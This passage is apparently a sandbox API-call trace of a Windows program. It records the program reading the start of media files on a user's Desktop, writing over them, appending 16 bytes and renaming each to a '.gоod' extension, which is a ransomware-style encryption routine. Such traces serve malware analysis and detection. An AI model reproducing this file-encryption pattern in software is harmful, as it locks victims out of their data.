lpFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\vbndA99TOAba.bmp", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\vbndA99TOAba.bmp", lpFilePart=0x0) returned 0x33 [0229.153] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0229.153] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\vbndA99TOAba.bmp" (normalized: "c:\\users\\fd1hvy\\desktop\\jtihjh_fu7\\vbnda99toaba.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0229.154] GetFileType (hFile=0x834) returned 0x1 [0229.154] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0229.154] GetFileType (hFile=0x834) returned 0x1 [0229.154] WriteFile (in: hFile=0x834, lpBuffer=0x366b060*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f9edd08, lpOverlapped=0x0 | out: lpBuffer=0x366b060*, lpNumberOfBytesWritten=0x1f9edd08*=0x1010, lpOverlapped=0x0) returned 1 [0229.154] CloseHandle (hObject=0x834) returned 1 [0229.217] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\vbndA99TOAba.bmp", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\vbndA99TOAba.bmp", lpFilePart=0x0) returned 0x33 [0229.217] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\vbndA99TOAba.bmp.gоod", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\vbndA99TOAba.bmp.gоod", lpFilePart=0x0) returned 0x38 [0229.217] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc40) returned 1 [0229.217] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\vbndA99TOAba.bmp" (normalized: "c:\\users\\fd1hvy\\desktop\\jtihjh_fu7\\vbnda99toaba.bmp"), fInfoLevelId=0x0, lpFileInformation=0x1f9edd20 | out: lpFileInformation=0x1f9edd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50068870, ftCreationTime.dwHighDateTime=0x1d4d2c6, ftLastAccessTime.dwLowDateTime=0xd5e29c20, ftLastAccessTime.dwHighDateTime=0x1d4d38b, ftLastWriteTime.dwLowDateTime=0x84cc09dc, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xc879)) returned 1 [0229.217] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc00) returned 1 [0229.218] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\vbndA99TOAba.bmp" (normalized: "c:\\users\\fd1hvy\\desktop\\jtihjh_fu7\\vbnda99toaba.bmp"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\vbndA99TOAba.bmp.gоod" (normalized: "c:\\users\\fd1hvy\\desktop\\jtihjh_fu7\\vbnda99toaba.bmp.gоod")) returned 1 [0231.277] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\WvgHvUnz3.mp4", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\WvgHvUnz3.mp4", lpFilePart=0x0) returned 0x30 [0231.277] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc80) returned 1 [0231.277] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\WvgHvUnz3.mp4" (normalized: "c:\\users\\fd1hvy\\desktop\\jtihjh_fu7\\wvghvunz3.mp4"), fInfoLevelId=0x0, lpFileInformation=0x3725b48 | out: lpFileInformation=0x3725b48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf057650, ftCreationTime.dwHighDateTime=0x1d4d367, ftLastAccessTime.dwLowDateTime=0xb1c66e50, ftLastAccessTime.dwHighDateTime=0x1d4cb54, ftLastWriteTime.dwLowDateTime=0xb1c66e50, ftLastWriteTime.dwHighDateTime=0x1d4cb54, nFileSizeHigh=0x0, nFileSizeLow=0xf779)) returned 1 [0231.277] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc40) returned 1 [0231.277] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\WvgHvUnz3.mp4", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\WvgHvUnz3.mp4", lpFilePart=0x0) returned 0x30 [0231.277] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0231.277] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\WvgHvUnz3.mp4" (normalized: "c:\\users\\fd1hvy\\desktop\\jtihjh_fu7\\wvghvunz3.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0231.278] GetFileType (hFile=0x864) returned 0x1 [0231.278] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0231.278] GetFileType (hFile=0x864) returned 0x1 [0231.278] SetFilePointer (in: hFile=0x864, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f9edcd8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f9edcd8*=0) returned 0x1000 [0231.278] ReadFile (in: hFile=0x864, lpBuffer=0x3725f10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9edca8, lpOverlapped=0x0 | out: lpBuffer=0x3725f10*, lpNumberOfBytesRead=0x1f9edca8*=0x1000, lpOverlapped=0x0) returned 1 [0231.279] CloseHandle (hObject=0x864) returned 1 [0231.280] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\WvgHvUnz3.mp4", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\WvgHvUnz3.mp4", lpFilePart=0x0) returned 0x30 [0231.280] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0231.280] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\WvgHvUnz3.mp4" (normalized: "c:\\users\\fd1hvy\\desktop\\jtihjh_fu7\\wvghvunz3.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0231.281] GetFileType (hFile=0x864) returned 0x1 [0231.281] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0231.319] GetFileType (hFile=0x864) returned 0x1 [0231.319] SetFilePointer (in: hFile=0x864, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f9edcd8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f9edcd8*=0) returned 0xf779 [0231.319] WriteFile (in: hFile=0x864, lpBuffer=0x37a7fa0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f9edbc8, lpOverlapped=0x0 | out: lpBuffer=0x37a7fa0*, lpNumberOfBytesWritten=0x1f9edbc8*=0x10, lpOverlapped=0x0) returned 1 [0231.319] CloseHandle (hObject=0x864) returned 1 [0231.320] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\WvgHvUnz3.mp4", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\WvgHvUnz3.mp4", lpFilePart=0x0) returned 0x30 [0231.320] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0231.320] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\WvgHvUnz3.mp4" (normalized: "c:\\users\\fd1hvy\\desktop\\jtihjh_fu7\\wvghvunz3.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0231.320] GetFileType (hFile=0x864) returned 0x1 [0231.320] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0231.320] GetFileType (hFile=0x864) returned 0x1 [0231.320] ReadFile (in: hFile=0x864, lpBuffer=0x37aa238, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9edc58, lpOverlapped=0x0 | out: lpBuffer=0x37aa238*, lpNumberOfBytesRead=0x1f9edc58*=0x1000, lpOverlapped=0x0) returned 1 [0231.346] CloseHandle (hObject=0x864) returned 1 [0231.346] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\WvgHvUnz3.mp4", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\WvgHvUnz3.mp4", lpFilePart=0x0) returned 0x30 [0231.346] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0231.346] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\WvgHvUnz3.mp4" (normalized: "c:\\users\\fd1hvy\\desktop\\jtihjh_fu7\\wvghvunz3.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0231.346] GetFileType (hFile=0x864) returned 0x1 [0231.347] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0231.347] GetFileType (hFile=0x864) returned 0x1 [0231.347] WriteFile (in: hFile=0x864, lpBuffer=0x37a8fb8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f9edd08, lpOverlapped=0x0 | out: lpBuffer=0x37a8fb8*, lpNumberOfBytesWritten=0x1f9edd08*=0x1010, lpOverlapped=0x0) returned 1 [0231.347] CloseHandle (hObject=0x864) returned 1 [0231.347] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\WvgHvUnz3.mp4", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\WvgHvUnz3.mp4", lpFilePart=0x0) returned 0x30 [0231.347] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\WvgHvUnz3.mp4.gоod", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\WvgHvUnz3.mp4.gоod", lpFilePart=0x0) returned 0x35 [0231.347] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc40) returned 1 [0231.347] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\WvgHvUnz3.mp4" (normalized: "c:\\users\\fd1hvy\\desktop\\jtihjh_fu7\\wvghvunz3.mp4"), fInfoLevelId=0x0, lpFileInformation=0x1f9edd20 | out: lpFileInformation=0x1f9edd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf057650, ftCreationTime.dwHighDateTime=0x1d4d367, ftLastAccessTime.dwLowDateTime=0xb1c66e50, ftLastAccessTime.dwHighDateTime=0x1d4cb54, ftLastWriteTime.dwLowDateTime=0x861af03d, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xf789)) returned 1 [0231.347] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc00) returned 1 [0231.347] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\WvgHvUnz3.mp4" (normalized: "c:\\users\\fd1hvy\\desktop\\jtihjh_fu7\\wvghvunz3.mp4"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\WvgHvUnz3.mp4.gоod" (normalized: "c:\\users\\fd1hvy\\desktop\\jtihjh_fu7\\wvghvunz3.mp4.gоod")) returned 1 [0231.348] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\Xn04sA4S.avi", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\Xn04sA4S.avi", lpFilePart=0x0) returned 0x2f [0231.348] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc80) returned 1 [0231.348] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\Xn04sA4S.avi" (normalized: "c:\\users\\fd1hvy\\desktop\\jtihjh_fu7\\xn04sa4s.avi"), fInfoLevelId=0x0, lpFileInformation=0x38286d0 | out: lpFileInformation=0x38286d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4dd05620, ftCreationTime.dwHighDateTime=0x1d4cf66, ftLastAccessTime.dwLowDateTime=0xb61fe260, ftLastAccessTime.dwHighDateTime=0x1d4d270, ftLastWriteTime.dwLowDateTime=0xb61fe260, ftLastWriteTime.dwHighDateTime=0x1d4d270, nFileSizeHigh=0x0, nFileSizeLow=0xc4a0)) returned 1 [0231.348] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc40) returned 1 [0231.348] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\Xn04sA4S.avi", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\Xn04sA4S.avi", lpFilePart=0x0) returned 0x2f [0231.348] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0231.348] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\Xn04sA4S.avi" (normalized: "c:\\users\\fd1hvy\\desktop\\jtihjh_fu7\\xn04sa4s.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0231.348] GetFileType (hFile=0x864) returned 0x1 [0231.348] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0231.348] GetFileType (hFile=0x864) returned 0x1 [0231.348] SetFilePointer (in: hFile=0x864, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f9edcd8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f9edcd8*=0) returned 0x1000 [0231.349] ReadFile (in: hFile=0x864, lpBuffer=0x3828a88, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9edca8, lpOverlapped=0x0 | out: lpBuffer=0x3828a88*, lpNumberOfBytesRead=0x1f9edca8*=0x1000, lpOverlapped=0x0) returned 1 [0231.349] CloseHandle (hObject=0x864) returned 1 [0231.349] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\Xn04sA4S.avi", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\Xn04sA4S.avi", lpFilePart=0x0) returned 0x2f [0231.349] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0231.349] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\Xn04sA4S.avi" (normalized: "c:\\users\\fd1hvy\\desktop\\jtihjh_fu7\\xn04sa4s.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0231.349] GetFileType (hFile=0x864) returned 0x1 [0231.350] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0231.350] GetFileType (hFile=0x864) returned 0x1 [0231.350] SetFilePointer (in: hFile=0x864, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f9edcd8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f9edcd8*=0) returned 0xc4a0 [0231.350] WriteFile (in: hFile=0x864, lpBuffer=0x3829cf0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f9edbc8, lpOverlapped=0x0 | out: lpBuffer=0x3829cf0*, lpNumberOfBytesWritten=0x1f9edbc8*=0x10, lpOverlapped=0x0) returned 1 [0231.350] CloseHandle (hObject=0x864) returned 1 [0231.350] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\Xn04sA4S.avi", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\Xn04sA4S.avi", lpFilePart=0x0) returned 0x2f [0231.350] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0231.350] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\Xn04sA4S.avi" (normalized: "c:\\users\\fd1hvy\\desktop\\jtihjh_fu7\\xn04sa4s.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0231.350] GetFileType (hFile=0x864) returned 0x1 [0231.350] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0231.350] GetFileType (hFile=0x864) returned 0x1 [0231.350] ReadFile (in: hFile=0x864, lpBuffer=0x382bf80, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9edc58, lpOverlapped=0x0 | out: lpBuffer=0x382bf80*, lpNumberOfBytesRead=0x1f9edc58*=0x1000, lpOverlapped=0x0) returned 1 [0232.153] CloseHandle (hObject=0x864) returned 1 [0232.153] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\Xn04sA4S.avi", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\Xn04sA4S.avi", lpFilePart=0x0) returned 0x2f [0232.153] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0232.153] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\Xn04sA4S.avi" (normalized: "c:\\users\\fd1hvy\\desktop\\jtihjh_fu7\\xn04sa4s.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0232.153] GetFileType (hFile=0x864) returned 0x1 [0232.153] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0232.153] GetFileType (hFile=0x864) returned 0x1 [0232.153] WriteFile (in: hFile=0x864, lpBuffer=0x36e2868*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f9edd08, lpOverlapped=0x0 | out: lpBuffer=0x36e2868*, lpNumberOfBytesWritten=0x1f9edd08*=0x1010, lpOverlapped=0x0) returned 1 [0232.154] CloseHandle (hObject=0x864) returned 1 [0232.154] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\Xn04sA4S.avi", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\Xn04sA4S.avi", lpFilePart=0x0) returned 0x2f [0232.154] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\Xn04sA4S.avi.gоod", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\Xn04sA4S.avi.gоod", lpFilePart=0x0) returned 0x34 [0232.154] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc40) returned 1 [0232.154] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\Xn04sA4S.avi" (normalized: "c:\\users\\fd1hvy\\desktop\\jtihjh_fu7\\xn04sa4s.avi"), fInfoLevelId=0x0, lpFileInformation=0x1f9edd20 | out: lpFileInformation=0x1f9edd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4dd05620, ftCreationTime.dwHighDateTime=0x1d4cf66, ftLastAccessTime.dwLowDateTime=0xb61fe260, ftLastAccessTime.dwHighDateTime=0x1d4d270, ftLastWriteTime.dwLowDateTime=0x8696ea96, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xc4b0)) returned 1 [0232.154] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc00) returned 1 [0232.154] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\Xn04sA4S.avi" (normalized: "c:\\users\\fd1hvy\\desktop\\jtihjh_fu7\\xn04sa4s.avi"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\Xn04sA4S.avi.gоod" (normalized: "c:\\users\\fd1hvy\\desktop\\jtihjh_fu7\\xn04sa4s.avi.gоod")) returned 1 [0232.155] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\zvXXg0GRJasKuRJZ.bmp", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\zvXXg0GRJasKuRJZ.bmp", lpFilePart=0x0) returned 0x37 [0232.155] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc80) returned 1 [0232.155] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\zvXXg0GRJasKuRJZ.bmp" (normalized: "c:\\users\\fd1hvy\\desktop\\jtihjh_fu7\\zvxxg0grjaskurjz.bmp"), fInfoLevelId=0x0, lpFileInformation=0x37556a0 | out: lpFileInformation=0x37556a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf40a490, ftCreationTime.dwHighDateTime=0x1d4cf15, ftLastAccessTime.dwLowDateTime=0x7e0507c0, ftLastAccessTime.dwHighDateTime=0x1d4c9a6, ftLastWriteTime.dwLowDateTime=0x7e0507c0, ftLastWriteTime.dwHighDateTime=0x1d4c9a6, nFileSizeHigh=0x0, nFileSizeLow=0xa042)) returned 1 [0232.155] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc40) returned 1 [0232.156] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\zvXXg0GRJasKuRJZ.bmp", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\zvXXg0GRJasKuRJZ.bmp", lpFilePart=0x0) returned 0x37 [0232.156] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0232.156] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\zvXXg0GRJasKuRJZ.bmp" (normalized: "c:\\users\\fd1hvy\\desktop\\jtihjh_fu7\\zvxxg0grjaskurjz.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0232.156] GetFileType (hFile=0x864) returned 0x1 [0232.156] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0232.156] GetFileType (hFile=0x864) returned 0x1 [0232.156] SetFilePointer (in: hFile=0x864, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f9edcd8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f9edcd8*=0) returned 0x1000 [0232.156] ReadFile (in: hFile=0x864, lpBuffer=0x3755a98, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9edca8, lpOverlapped=0x0 | out: lpBuffer=0x3755a98*, lpNumberOfBytesRead=0x1f9edca8*=0x1000, lpOverlapped=0x0) returned 1 [0232.157] CloseHandle (hObject=0x864) returned 1 [0232.157] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\zvXXg0GRJasKuRJZ.bmp", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\zvXXg0GRJasKuRJZ.bmp", lpFilePart=0x0) returned 0x37 [0232.157] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0232.157] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\zvXXg0GRJasKuRJZ.bmp" (normalized: "c:\\users\\fd1hvy\\desktop\\jtihjh_fu7\\zvxxg0grjaskurjz.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0232.157] GetFileType (hFile=0x864) returned 0x1 [0232.157] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0232.157] GetFileType (hFile=0x864) returned 0x1 [0232.157] SetFilePointer (in: hFile=0x864, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f9edcd8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f9edcd8*=0) returned 0xa042 [0232.158] WriteFile (in: hFile=0x864, lpBuffer=0x3756d20*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f9edbc8, lpOverlapped=0x0 | out: lpBuffer=0x3756d20*, lpNumberOfBytesWritten=0x1f9edbc8*=0x10, lpOverlapped=0x0) returned 1 [0232.158] CloseHandle (hObject=0x864) returned 1 [0232.158] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\zvXXg0GRJasKuRJZ.bmp", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\zvXXg0GRJasKuRJZ.bmp", lpFilePart=0x0) returned 0x37 [0232.158] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0232.158] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\zvXXg0GRJasKuRJZ.bmp" (normalized: "c:\\users\\fd1hvy\\desktop\\jtihjh_fu7\\zvxxg0grjaskurjz.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0232.158] GetFileType (hFile=0x864) returned 0x1 [0232.158] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0232.158] GetFileType (hFile=0x864) returned 0x1 [0232.158] ReadFile (in: hFile=0x864, lpBuffer=0x3758fd0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9edc58, lpOverlapped=0x0 | out: lpBuffer=0x3758fd0*, lpNumberOfBytesRead=0x1f9edc58*=0x1000, lpOverlapped=0x0) returned 1 [0232.492] CloseHandle (hObject=0x864) returned 1 [0232.492] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\zvXXg0GRJasKuRJZ.bmp", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\zvXXg0GRJasKuRJZ.bmp", lpFilePart=0x0) returned 0x37 [0232.492] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0232.492] CreateFileW 